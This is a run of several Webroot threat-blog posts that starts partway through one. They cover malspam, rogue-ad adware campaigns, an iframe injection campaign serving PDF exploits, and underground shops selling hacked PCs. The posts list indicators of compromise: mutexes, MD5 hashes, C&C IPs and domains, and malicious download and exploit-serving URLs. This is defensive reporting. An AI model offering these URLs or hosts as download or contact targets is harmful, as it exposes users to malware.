Global\{B4E44AB6-7AD7-4F09-51E8-B06D7015937F}
Global\{B4E44AB6-7AD7-4F09-81E8-B06DA015937F}
Global\{B4E44AB6-7AD7-4F09-FDE8-B06DDC15937F}
Global\{B4E44AB6-7AD7-4F09-0DEF-B06D2C12937F}
Global\{B4E44AB6-7AD7-4F09-5DEF-B06D7C12937F}
Global\{B4E44AB6-7AD7-4F09-95EE-B06DB413937F}
Global\{B4E44AB6-7AD7-4F09-F1EE-B06DD013937F}
Global\{B4E44AB6-7AD7-4F09-89EB-B06DA816937F}
Global\{B4E44AB6-7AD7-4F09-F9EF-B06DD812937F}
Global\{B4E44AB6-7AD7-4F09-E5EF-B06DC412937F}
Global\{B4E44AB6-7AD7-4F09-0DEE-B06D2C13937F}
Global\{B4E44AB6-7AD7-4F09-09ED-B06D2810937F}
Global\{B4E44AB6-7AD7-4F09-51EF-B06D7012937F}
Global\{B4E44AB6-7AD7-4F09-35EC-B06D1411937F}
Global\{B4E44AB6-7AD7-4F09-CDE8-B06DEC15937F}
Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}
Global\{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

And drops the following MD5s on the affected hosts: MD5: 9319669e8561f184e9377153f763437c
MD5: 396eba6eaf5452072c2d09c1b74bee1e
MD5: adb551e9081900756f8794fef5e4794b

The sample then phones back to det0nator.com – 38.102.226.14 on port 443, as well as to the following C&C servers: 38.102.226.14
107.211.213.205
173.164.221.193
76.64.181.164
67.68.13.117
70.66.226.202
111.252.181.221
174.95.65.84
86.169.78.218
217.35.75.232
108.65.194.40

172.242.78.165
68.162.220.34
193.193.241.194
173.212.94.63
24.115.24.89
217.35.80.36
210.210.112.17
174.94.53.249
68.98.96.4
84.59.129.23
216.115.141.73
69.245.77.205
211.125.248.79
98.254.137.81
178.236.50.214
95.229.188.122
31.192.48.109
82.211.142.218
69.84.103.11
180.241.104.37
120.29.2.174
188.13.56.209
212.42.18.65
14.97.223.231
2.127.91.192
140.247.219.83

Known to have been downloaded from the same IP (38.102.226.14) are also the following malicious MD5s: MD5: 623a3730c773871779b4d768e58904d7
MD5: f71d67cb677f567990992225446a07a3

The following MD5s are known to have phoned back to the same IP (38.102.226.14): MD5: 0495c0ed5b53572fd271ba6ad1e3bdbe
MD5: 618381de2f1b41a0e82d0da777eb5f26

Sample malicious MD5s known to have phoned back to the same C&C servers over the last couple of days: MD5:

1126e4ae1bae2f990e4e80b95d57e45a
MD5: 987416580af8cfe843ae5d9c744180ce
MD5: 63ff58a510b547ec7c10fa3e18a2008d
MD5: a06763422cb2b6dc272229acba4307e7
MD5: 16753b7a3923f10e7081cdb3a36c5d5c
MD5: 0495c0ed5b53572fd271ba6ad1e3bdbe
MD5: c732289e0f768b487d38ab4127f2dbf0
MD5: cd0348cf90a042975f1ad301aa477af3
MD5: bb7bd0541c877c87213803f1fb28ef6e
MD5: 1126e4ae1bae2f990e4e80b95d57e45a
MD5: c77788267424555791887ac7e32563c3
MD5: a06763422cb2b6dc272229acba4307e7
MD5: bce63fbf16883ad18c0af1f40f9d2ce7
MD5: 37d8633566787c6bed74e782e92a699a
MD5: 773d52d6fdc3d0345a35d40294641242
MD5: 10f11e6959f75dfb48e610d9209614d6
MD5: e007ba6d9fbe53bfac99f15111fa4da5
MD5: cd6ff96ecde6806f41e9336437f97c3c

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Rogue ads lead to the 'EzDownloaderpro' PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

We’ve just intercepted yet another rogue ad campaign, attempting to trick users into installing the EzDownloaderpro **PUA (Potentially Unwanted Application)** . Primarily relying on catchy “Play Now, Download Now” banners, the visual social engineering tactic of this campaign is similar to other PUA related campaigns we’ve previously profiled. Let’s take a look at this new rogue ad campaign, and provide relevant threat intelligence on the infrastructure behind it.

Sample screenshot of the landing page:

Landing URL: lp.ezdownloadpro.info/sspcQA/ssa/ – 46.165.228.246

Domain name reconnaissance of the redirectors: superfilesdocumentsy.asia/v944/?a=1 – 141.101.117.252; 141.101.116.252
applicationscenterforally.asia/v944/?INm – 108.162.197.34; 108.162.196.34
op.applicationscenterforally.asia/sspcQA/ssa/

Known to have responded to the same IP (46.165.228.246), are also the following domains: amu.downurfiles.info
downloadkeeper.info
driveridentifier-download.com
ezdownloadpro.info
iframe.applicationsforentirey.asia
iframe.applicationsforeveryy.asia
iframe.filesaredirecty.asia
iframe.filesareonliney.asia
iframe.superfilesdatay.asia
lp.ezdownloadpro.info

lp.livetrafficall.info
op.alllinuxapplicationsy.asia
op.applicationsforcompletey.asia
op.applicationsforentirey.asia
op.applicationsforeveryy.asia
op.applicationsgroupforally.asia
op.bestfilesarey.asia
op.bestfilesdatay.asia
op.documentsguidey.asia
op.documentssitey.asia

Known to have responsded to (141.101.117.252) are also the following domains: 2upl.com
amu.domainforcompany.info
andyrohr.com
bookmarkspiral.com
filecm.net
hackstore.net
happysky.heartbrea.kr
icephoenixbot.com
krazywap.ws
octavis.net

Malicious MD5s known to have been downloaded from the same IP (141.101.117.252): MD5: fd4195ef1af7fb49a673633ed57b87ab
MD5: c0d9713acfc46c2a466a9de77292636d
MD5: d3119ed48cb5896d41aeae4b51f2667a
MD5: c6799f5425fbe038778c4c4a22b35a41
MD5: 840fa1e6c0f81f6da1a347ecb3b2db2e
MD5: c27d4537d24aa55df9837479da2ae111
MD5: c77fc69c7b96c53ce762b87c98831327
MD5: dce1c89d7a267b2a4ae925b5a387e5cd
MD5: a868964e1fe66e4a7638f46ba7844b52
MD5: 2acc54f86694e8d7674e8e1afff86aa1
MD5: 5f078de83a9ce3ee2d9d2fe174cd234c
MD5: 0426e6c1fe2aa8681c683428bb3d2dd7
MD5: efcd92d3be23e624bca2db8515f0df20

MD5: 30ac6dd3290ab3c9281e81c2cba2097e
MD5: 9b35dcacd42e6ba1c596a8bc0425d646

Known to have responded to the same IP (108.162.197.34) are also the following domains: 4agent.info
advancedchirocenter.com
albertomolteni.altervista.org
applicationscenterforally.asia
asoiaf.westeros.org
br.singlesfind.us
buker.ru
chaochui88.com
client.ferocitybooter.net
habbokekos.net
hentaimate.com
horny-locals.com
img.b2bage.com
onvideogames.net
op.applicationscenterforally.asia
papermashup.com
pdiva.ro
pinoyhideout.com.ph
prestamosdinerolosangeles.com
sdx.cc

The following MD5 is also known to have been downloaded from the same IP (108.162.197.34): MD5: bc44e23e46fa4c3e73413c130d4f2018

Detection rate for the sample 'pushed' by the rogue Download page: **MD5: e8c9c2db3514f375f74b60cb9dfcd4ef** – detected by 12 out of 47 antivirus scanners as PUP.Optional.InstalleRex; Installerex/WebPick (fs)

Once executed, the sample phones back to: r1.stylezip.info – 198.7.61.118
c1.stylezip.info – 198.7.61.118
i1.stylezip.info – 198.7.61.118

Known to have responded to the same IP (198.7.61.118) are also the following domains: c1.storebox1.info

c1.stylezip.info
c1.yourfilesdatak.asia
c2.storebox1.info
c2.stylemy.info
creditzipmy.us
downloads-fast.info
downloads4u.info
i1.storebox1.info
i1.stylezip.info
i1.yourfilesdatak.asia
nlstorage.info
r1.storebox1.info
r1.stylezip.info
r2.storebox1.info
r2.stylemy.info
storagenl.info
storebox1.info
storebox3.info
stylemy.info

The following MD5s are also known to have phoned back to the same IP (198.7.61.118) over the past 24 hours MD5: df0961738c4f5848673f2c73fe9c7e4f
MD5: 69b6c2491627d41e6e2291eafd4b4942
MD5: 03c068aef9d8e9902c32f57142460402
MD5: 530a72084a90b2d97ee7eb6e5893cb1c
MD5: dc367e6991b56f1470b742b94854997d
MD5: cb86d60a248dd0d61d07840513a92b76
MD5: cacd889e777031adbdebd4f9a04fedb8
MD5: 2529463456de5e69d315842a322c4342
MD5: 7108933a95f91e2b0c094c259e4fbdbd
MD5: f35bf9fb0a6eaa3b256e9454f334719a
MD5: 330c40c3bf6b55f8cd425d03e2b4f157
MD5: c8a835831bb9ae1c5f7b335af6adf4f7
MD5: 12cab1cc907765bf141233608fa1ded7
MD5: 4dad0b23f4e7a133aa867df9d6adf3dd

Detection rate for the original EzDownloadpro executable: **MD5: 292b53b745e3fc4af79924a3c11fcff0** – detected by 5 out of 48 antivirus scanners as Win32:InstalleRex-U [PUP]; MalSign.Skodna.Pick; PUP.Optional.EZDownloader.A

Sample screenshot of EzDownloadpro's official Web site:

Unique PUA MD5s served based on multiple requests to the same URL (applicationscenterforally.asia/v944/?INm): MD5: 0e570830dc3b1b8bad9689ed6a310654
MD5: d4bfbf9f28c81386bfb4b68b8f9b76f1
MD5: 3bb72e9c5eefce176ef6dddea858ef82
MD5: 7985860dc060792ba77e06f312739b79
MD5: 4b829aa6df0904bc0aba7652a73ec71c
MD5: 335bca4c2c3f4c980b4c485be4e13a00
MD5: c400bf0affbb376298fb93e5b8aacf59
MD5: 9244841ab24c8769438f22c0b5c2c053
MD5: 9ae15b4efd424fb7640e9066d0abfe1a
MD5: 20d83dd867bedf1f03ccdc0b5b8d720f

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'Scanned Image From A Xerox WorkCentre' Emails Lead To Malware | Webroot

facebook linkedin twitter

We’ve intercepted a currently circulating malicious spam campaign, tricking users into thinking that they’ve received a scanned document sent from a **Xerox WorkCentre Pro device** . In reality, once users execute the malicious attachment, the cybercriminal(s) behind the campaign gain complete control over the now infected host.

Sample screenshots of the spamvertised malicious email:

Detection rate for the malicious attachment: MD5: 1a339ecfac8d2446e2f9c7e7ff639c56 – detected by 17 out of 48 antivirus scanners as TROJ_UPATRE.AX; Heuristic.LooksLike.Win32.SuspiciousPE.J!89.

Once executed, the sample starts listening on ports 2544 and 7718.

It then creates the following Mutexes on the affected hosts:
Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}
Global\{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}
Global\{5492A9EF-998E-AF7F-11EB-B06D3016937F}
Global\{5492A9EF-998E-AF7F-75EA-B06D5417937F}
Global\{5492A9EF-998E-AF7F-4DE9-B06D6C14937F}
Global\{5492A9EF-998E-AF7F-65E9-B06D4414937F}
Global\{5492A9EF-998E-AF7F-89E9-B06DA814937F}
Global\{5492A9EF-998E-AF7F-BDE9-B06D9C14937F}
Global\{5492A9EF-998E-AF7F-51E8-B06D7015937F}

Global\{5492A9EF-998E-AF7F-81E8-B06DA015937F}
Global\{5492A9EF-998E-AF7F-FDE8-B06DDC15937F}
Global\{5492A9EF-998E-AF7F-0DEF-B06D2C12937F}
Global\{5492A9EF-998E-AF7F-5DEF-B06D7C12937F}
Global\{5492A9EF-998E-AF7F-F1EE-B06DD013937F}
Global\{5492A9EF-998E-AF7F-89EB-B06DA816937F}
Global\{5492A9EF-998E-AF7F-F9EF-B06DD812937F}
Global\{5492A9EF-998E-AF7F-E5EF-B06DC412937F}
Global\{5492A9EF-998E-AF7F-0DEE-B06D2C13937F}
Global\{5492A9EF-998E-AF7F-09ED-B06D2810937F}
Global\{5492A9EF-998E-AF7F-51EF-B06D7012937F}
Global\{5492A9EF-998E-AF7F-35EC-B06D1411937F}
Global\{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

Drops the following MD5s: MD5: 1a339ecfac8d2446e2f9c7e7ff639c56
MD5: 17c78eb30d31161e9aed1ea25889e423
MD5: 09bbe8cd0cfe7770a62faa68723c8804
MD5: d1a55715c1360daab7882bf45e820b31

And phones back to: smclan.com – 209.236.71.58

The following malicious domains are also currently responding to the same IP: beebled.com
coffeeofgold.com
learnpkpd.com
smclan.com
wordpressonwindows.com
adgnow.com
eddietobey.com
kestrel.aero

And the following malicious domains are known to have responded to the same IP: atrocitycomplex.com
getdailypaymentsnow.com
giltnetwork.com
heartlessbastardseo.com
juanherreraplaza.com
landings.romancesdiscretos.com
mydecay.com

revoluza-coupon.com
team4048.org
careerfortune.com
justsaylovemovie.com
kassysgroup.com
stagewrightfilms.com
zachary-scott.com

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

U.K users targeted with fake 'Confirming your Sky offer' malware serving emails - Webroot Blog

facebook linkedin twitter

British users, watch what you execute on your PCs! Over the last week, cybercriminals have launched several consecutive malicious spam campaigns targeting users of Sky, as well as owners of Samsung Galaxy devices, into thinking that they've received a legitimate MMS notification to their email address. In reality though, these campaigns 'phone back' to the same command and control botnet server, indicating that they're related.

Sample screenshot of the spamvertised attachment:

Detection rate for the Sky themed sample: MD5: d880cd5e3fe803c17f4208552ec22698 – detected by 27 out of 48 antivirus scanners as Trojan.Win32.Sharik.qgi

Detection rate for the Samsung Galaxy themed fake MMS sample: MD5: d08c957a004becd0a2404db99d334484 – detected by 24 out of 47 antivirus scanners as Trojan.Win32.Sharik.qgd; VirTool:Win32/CeeInject.gen!KK

Once executed, both samples phone back to **a known C&C** – networksecurityx.hopto.org.

Related malicious MD5s known to have phoned back to the same C&C server (networksecurityx.hopto.org) since the beginning of the month: MD5: fa6ad32857e52496893d855e4c87fdc4
MD5: 0754bc0afadf12dcc16185552940a7a2
MD5: c18820db216be9dd45dd71bf4af12221
MD5: c6fc5304b1bc736d26b8d30291d7c233
MD5: 47789cd37bb80db557df461193230864
MD5: c738137d1c3092db0c7f07c829d08c62
MD5: edc52b2493ff148eb595a8931d177b52
MD5: 4d5745981507951a002900509a429295

MD5: af72bac81d90baf692022a2d3bd8cec3
MD5: 0220a490bdaa10c41318f86bb768bc74
MD5: 56dbfb5c1056a9c1c2f37be65d7f2832
MD5: 3d2263abc97d4297c0952c77a41c5db3
MD5: 54c33ecd97185aee6376e1a6aed610f2
MD5: d9c76155f76c4d3d42883ad7c1ca7544
MD5: 207cb51b0777793d0834afdaca41e415
MD5: e4be05e0ec44699f6a7be546e717acb3
MD5: ccd83b51f9733b81bfe556a6315c1a12
MD5: 380a79055e5de4f5f9b4aa5d82e482d5
MD5: a1e6fa2128ed6e0245c86e2d903dfe73

Related C&C server domains from malicious MD5s also known to have phoned back to networksecurityx.hopto.org:

1micro-update.no-ip.org
ahfgluqmcovghpmum.com
aqazrrwmzrvrvoshpi.com
arnvmiypge.com
bhlnvwlfbtre.com
bitvaisemrvzcjbrxpxq.com
brcpaqtlpwq.com
bunzvlesey.com
cdqvfoezutpworgjg.com
chbqrhunxg.com
daobcnqwefamhdfcs.com
eefifitiwwrvd.com
ejpcazebx.com
ezqjymdipjt.com
fdedkrmamntcyaine.com
fidqorildzpt.com
fktihyjhkomdxqkucg.com
fwlxulxb.com
giaddkbzcyaoim.com
gqfpcgbklmmskixc.com
hbrtrminyxb.com
idsuyvhdboaybaprf.com
ioxjbplzwgrinyike.com
iqhbyacfnea.com

jfzgufuwikakyza.com
jhkkssojlwnyjgnsslm.com
kbvmxwjxtvncddaiyb.com
kiovxfffze.com
ktlwxakbho.com
kydtaywfsfrsppvb.com
legcljdgpczw.com
lgsfbhyyrrnalpcbqkob.com
lldpoyrzfi.com
lxynmytvhgyiv.com
micro-update.no-ip.org
obhmbdjxkgmzw.com
oynrnyhmikxd.com
pjgwxsqwbdqh.com
psxfoalsn.com
qcoupmtycgogwblu.com
qtermfciofx.com
raxlendajlubxdhq.com
tccboqhpciznru.com
thnebevjzumnwfkyqwsa.com
upijkzzgohsviiufgwj.com
vdlkjuqdauwcpdxaybqm.com
vltnftcjrzrxnhfwgf.com
wchdbyuteue.com
xaftdwovbbtvt.com
xbmqunsmgty.com
ykvmiyfbbaqgryd.com
yqmodbxjxgczajstz.com
ytnxvxnlumzvtdelo.com
yyuihmtl.com
zbtgaqubvmmvvcx.com
zjwceimakuvaieqxzdi.com
zlndqawvrrbjhavidol.com
zlohhvqhqgyvbhbhe.com
zmfcmghjbpbxwn.com
zoyvmgsykc.com

zpqwczqatnmmb.com
ztvqcrxbvqd.com

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New DIY compromised hosts/proxies syndicating tool spotted in the wild - Webroot Blog

facebook linkedin twitter

Compromised, hacked hosts and PCs are a commodity in underground markets today. More cybercriminals are populating the market segment with services tailored to fellow cybercriminals looking for access to freshly compromised PCs to be later **abused in a variety of fraudulent/malicious ways** , all the while taking advantage of their clean IP reputation. Naturally, once the commoditization took place, cybercriminals quickly realized that the supply of such hosts also shaped several different market segments. They **offered tools** and services that specialize in **the integration of this supply** into various **cybercrime-friendly tools** and platforms, empowering virtually anyone using them with the desired degree of non-attribution in terms of tracing an attack, or a salable fraudulent model relying exclusively on malware-infected hosts.

A newly launched DIY compromised hosts/proxies syndicating tools, **empowers cybercriminals** with both, access to paid (freshly) compromised or free ones, through the direct syndication of services that specialize in the supply of such commoditized malware-infected hosts. What's so special about this tool, anyway? Let's find out.

Sample screenshots of the DIY compromised hosts/proxies syndicating tool:

Next to the tool's core function of syndicating fresh proxies, from both paid and free vendors that specialize in the supply of such type of hosts, it has a built-in feature that validates whether they're working or not. It also has the ability to change the user agent, test against any given Web site, segment the type of proxies (for instance HTTP, Socks4 or Socks5), as well as visual representation separating working from non-working proxies. Most importantly, the existence of this tool — and the competing alternatives — is a great example of the existence of a fraudulent ecosystem, taking into consideration the fact that its author is merely improving the usability of the service offered by vendors supplying the hosts, ultimately resulting in a win-win-win situation for the tool’s author, the vendor and the potential customer of the tool.

With more cracked/leaked/public/commercially available DIY malware/botnet generating tools continuing to pop up on our radars, we’re certain that we’ll continue observing a steady supply of malware-infected hosts to be efficiently integrated in multiple cybercrime-facilitating tools, services, and platforms.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Rogue ads lead to the 'Mipony Download Accelerator/FunMoods Toolbar' PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

Potentially Unwanted Applications (PUAs) continue to visually social engineer users into installing virtually useless applications. They monetize each and every install by relying on 'bundling' which often comes in the form of a privacy-violating toolbar or third-party application. We recently intercepted a rogue ad that entices users into downloading the Mipony Download Accelerator that is bundled with the privacy-invading FunMoods toolbar PUA, an unnecessary bargain with the integrity and confidentiality of your PC.

Sample screenshot of the landing page:

Detection rate for the PUA: MD5: 023e625cbb1b30565d46f7533ddc03db – detected by 6 out of 47 antivirus scanners as W32/InstallCore.R4.gen!Eldorado; Install Core Click run software.

Domain name reconnaissance: ultimatedownloadaccelerator.com – 50.19.220.248; 174.129.22.118; 23.21.144.61; 23.23.144.245

Upon execution, it phones back to: cdneu.ultimatedownloadaccelerator.com – 65.254.40.36
os-test.ultimatedownloadaccelerator.com – 54.244.230.64
cdnus.ultimatedownloadaccelerator.com – 199.58.87.155
img.ultimatedownloadaccelerator.com – 199.58.87.155

Related MD5s part of the same network that are known to have been downloaded from the same IPs, over the last couple of days: MD5: caa5e691d1eddef66294d1323720556e
MD5: 88ba249e0fac7ece69e8a769ec9e81dc
MD5: 748346dc2138aa4927e2ad577c0a97c8
MD5: 78b98bbec669999bd51f7f408d06d9f6

MD5: 7ee56be08401efbc443c286dce641bd6
MD5: 0a6836e3f26e4be1654b18f84191985a
MD5: 3822e38b95cde512aa5a11dc21cd2699
MD5: 2cc18f48633788894e505eaa7b11f6bf
MD5: 02f5346e1ee415de637458be66eb319e
MD5: cdddec958148633578b0574d6551facd
MD5: bc276e312294916fc748937b9e9a6423
MD5: de146519fb5ffe3c5bee07f49ebd0907
MD5: 2d28af1f6bf5115532c19010edbdd463
MD5: df2181cf0b55eebf0f281562314740b1
MD5: 0a6fdc3ecb5da97038df8b28bfaf9581
MD5: df2181cf0b55eebf0f281562314740b1
MD5: 0a6fdc3ecb5da97038df8b28bfaf9581
MD5: 1cd458a9181e1c30cb2b28efd29075cd
MD5: f5976b181cde557f620578eb92535ac7
MD5: b2a7fad9f3f892577d876c74cb221525
MD5: f1242926095907cebd741d8d540567b0
MD5: 2e60e85bfaf1175c2e7ed0390b09ee67

Detection rate for the FunMoods Toolbar: MD5: 592f35f9954a7ec4c0b4985857f81ad8 – detected by 13 out of 48 antivirus scanners as Win32/InstallCore; PUP.Optional.Funmoods

Once executed, it phones back to: os.funmoodscdn.com (54.245.235.34)
cdneu.funmoodscdn.com (146.185.27.53)
cdnus.funmoodscdn.com (199.58.87.155)

Known to have responded to the same IPs, are also the following domains part of the same infrastructure: os-test.anymusicconverter.com
os-test.coolpdfcreator.com
os-test.extrimdownloadmanager.com
os-test.greataudioconverter.com
os-test.thebestallcodecsapp.com
os-test.thebestcodecpackapp.com
os-test.thebestimageeditorfunapp.com
os-test.thecoolzipextractorapp.com
os-test.thedownloadmanagerapp.com

os-test.thenewzipopenerfun.com
os-test.thepdfcreatorapp.com
os-test.thevideoconverterexclusive.com
os-test.ultimatedownloadaccelerator.com
os-test.unipdfconverter.com
os.50orcdn.com
os.5oftwarescdn.com
os.abiwordapp.com
os.adsearchescdn.com
os.afdlcdn.com
os.afreecodeccdn.com
cdneu.50orcdn.com
cdneu.5oftwarescdn.com
cdneu.adsearchescdn.com
cdneu.afdlcdn.com
cdneu.alcoholsoftcdn.com
cdneu.allmyappscdn.com
cdneu.amazingwebtvcdn.com
cdneu.amniscdn.com
cdneu.anymusicconverter.com
cdneu.anyprotectcdn.com
cdneu.anysendapp.com
cdneu.apponiccdn.com
cdneu.appzeuscdn.com
cdneu.aviracdn.com
cdneu.baixakialtcdn.com
cdneu.baixakialtcdn2.com
2cdneu.baixakicdn.com
cdneu.bestflvplayer.net
cdneu.bestringtonesmaker.com
cdneu.bestvistadownloadscdn.com

Despite the fact that most modern day PUAs include uninstall instructions, our advice is to not install them in the first place, instead, seek a legitimate — often free but this time fully featured and working — alternative to their pseudo-unique value propositions.

Webroot SecureAnywhere users are proactively protected from these PUAs.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the administration panel of a standardized E-shop for compromised accounts - Webroot Blog

facebook linkedin twitter

At Webroot’s Threat Blog, we often discuss **the dynamics of the cybercrime ecosystem.** Through the prism of basic **business,** marketing and **economic theories** , the idea is to help make them easy to comprehend by most readers. Constructively raising awareness on some of the driving factors behind the epidemic growth of cybercrime. We also often emphasize on concepts such as standardization, vertical integration, for hire, rent or on demand business models, commoditization and economies of scale. This further highlights the legitimate market-like state of the underground marketplace, in terms of the variety of business models, pricing schemes, and current/long term centered business strategies.

In this post, we’ll put the spotlight on an efficiency-centered administration panel for a **DIY** (do it yourself), self-service type of **E-shop** script, to be used by prospective cybercriminals as a turn-key conversion solution for their fraudulently obtained assets. In this case, the ability to efficiently sell access to compromised accounts. Not only has this E-shop script have the potential to empower virtually anyone with the ability to sell their goods, but in this particular case, the vendor is promising to donate some of the revenue for philanthropic purposes.

Sample screenshot of an E-Shop for compromised accounts, as created by the E-Shop script offered for sale:

Sample screenshot of the login page for the administration panel:

Sample screenshots of the actual administration panel:

Despite the fact that we’ve seen **scareware ‘going green’** — at least to convince the user into thinking that it’s a legitimate antivirus offer – the author of this E-shop script is also promising that 10% of the revenue coming from this project will be donated to a charitable project with the project's banner clearly visible at the bottom of the demo E-Shop. Such efficiency-oriented underground market propositions have the potential to streamline the entire supply chain of fraudulently obtained assets, similar to **the standardization of money mule recruitment processes** , or the **template-ization** of **malware-serving sites** , which were taking place a couple of years ago.

We'll continue to monitor and update the development of this standardizaed E-shop for fraudulently obtained assets that could potentially have an even bigger impact on the cybercrime ecosystem.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Mass iframe injection campaign leads to Adobe Flash exploits - Webroot Blog

facebook linkedin twitter

We've intercepted an ongoing malicious campaign, relying on injected/embedded iFrames at Web sites acting as intermediaries for a successful client-side exploits to take place. Let's dissect the campaign, expose the malicious domains portfolio/infrastructure it relies on, as well as directly connect it with historical malicious activity, in this particular case, a social engineering campaign pushing fake browser updates.

Sample screenshot of the script identifying the client's Flash Player version:

iFrame URL: mexstat210.ru – **88.198.7.48**

Known to have responded to the same IP (88.198.7.48) are also the following malicious domains: alson.info – Email: zexpay@gmail.com
autosloans.biz
bank7.net
bestfriendsfinder.net
blingpurse.com
demserv.net
distantnews.biz
distantnews.com
distantnews.pw
free-vpn.co.uk
goodloads.oufk.info
itmagnate.org
loansauto.biz
loansautos.com
loansbiz.net
mexstat210.ru
mexstat260.pw
mexstat480.pw

online-job.info
russianshoping.net
vilestube.com
updbrowser.com
allonlineworkathome.info

Sample detection rate for the malicious script: MD5: efcaac14b8eea9b3c42deffb42d59ac5 – detected by 30 out of 43 antivirus scanners as Trojan-Downloader.JS.Expack.sn; Trojan:JS/Iframe.BS

The following malicious MD5s are also known to have been hosted on the same IP (88.198.7.48): *bank7.net/chrome/ChromeUpdate.exe* – MD5: 7b3d9e48deac8d0b33f6fc4235361cbd *bank7.net/ie/IEUpdate.exe* – MD5: 7b3d9e48deac8d0b33f6fc4235361cbd *bank7.net/firefox/FirefoxUpdate.exe* – MD5: 7b3d9e48deac8d0b33f6fc4235361cbd *setexserv.com/zort.exe* – MD5: ed5c71023a505bd82f5709bfb262e701 *ztxserv.biz/chrome/ChromeUpdate.exe* – MD5: 2e899f619c9582e79621912524a0bafb

Client-side exploits serving URL: *urkqpv.chinesenewyeartrendy.biz:39031/57e2a1b744927e0446aef3364b7554d2.html* – 198.50.225.114

Domain name reconnaissance: chinesenewyeartrendy.biz – 46.105.166.96 known to have responded to the same IP is also appearancemanager.biz

Detection rates for the dropped PDF exploits: MD5: 77cd239509c0c5ca6f52c38a23b505f3 – detected by 3 out of 48 antivirus scanners as Heuristic.BehavesLike.PDF.Exploit-CRT.F; HEUR_PDFJS.STREM
MD5: 131e53c40efddfc58f5ac78c7854bc73 – detected by 3 out of 48 antivirus scanners as Exploit.Script.Heuristic-pdf.gutws; Heuristic.BehavesLike.PDF.Exploit-CRT.F

Both malicious PDF files exploit CVE-2010-0188 **which also phone back to :** *urkqpv.chinesenewyeartrendy.biz:39031/f/1381405800/1381405863/*

ce504b9214abf8db6ce3d7276b7badbb/7770e5aab4389e4e2faf75514bed926e/6

It gets even more interesting, taking into consideration the fact that the iFrame injected/embedded URL includes a secondary iFrame pointing to a, surprise, surprise, Traffic Exchange network. Not surprisingly, we also identified a related threat that is currently using the same infrastructure as the official Web site of the Traffic Exchange.

Secondary iFrame : mxdistant.com – 213.239.231.141

Known to have responded to the same IP in the past are also the following malicious domains: photosgram.com
worldtraff.ru
worldtraffic.biz

Which inevitably leads us to *photosgram.com/gallery.exe* – **MD5: 961dba6cf73d24181634321e90323577** – detected by 13 out of 48 antivirus scanners as TROJ_GEN.R0CBOH0I713; Artemis!961DBA6CF73D.

Once executed, it phones back to **anyplace-gateway.info** – 76.72.165.63 – info@remote-control-pc.com

The following MD5s are also known to have phoned back to the same IP in the past: MD5: c4fb386b785e8c337e378d2c318c18c7
MD5: db872312b12f089cc525068b8c67baaf
MD5: 5457197c011263db0820fc6b6788b45c
MD5: 217745fadde1d42cc31ba20b4eb601d3
MD5: ba11bb7704cc36ad55b22c00080b6d39
MD5: 70d821fa0b6bdf30221cce9e3ad40727
MD5: 12d1436481c6a19c05a12578249683b2

Moreover, **updbrowser.com** is also directly related to **worldtraff.ru** , as it **used to push fake browser updates** , similar to the MD5s at **bank7.net** and **ztxserv.biz** .

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Yet another Bitcoin accepting E-shop offering access to thousands of hacked PCs spotted in the wild - Webroot Blog

facebook linkedin twitter

The never-ending supply of access to compromised/hacked PCs — the direct result of the general availability of DIY/cracked/leaked malware/botnet generating tools — continues to grow in terms of the number and variety of such type of underground market propositions. With more cybercriminals entering this lucrative market segment, on their way to apply well proven and efficient monetization schemes to these hacked PCs, cybercrime-friendly affiliate networks naturally capitalize on the momentum, ensuring a win-win business process for the participants and the actual owners of the network.

In this post, I'll highlight yet another newly launched such E-shop, currently possessing access to over 30,000 malware-infected hosts.

Sample screenshots of the actual (international) underground market ad:

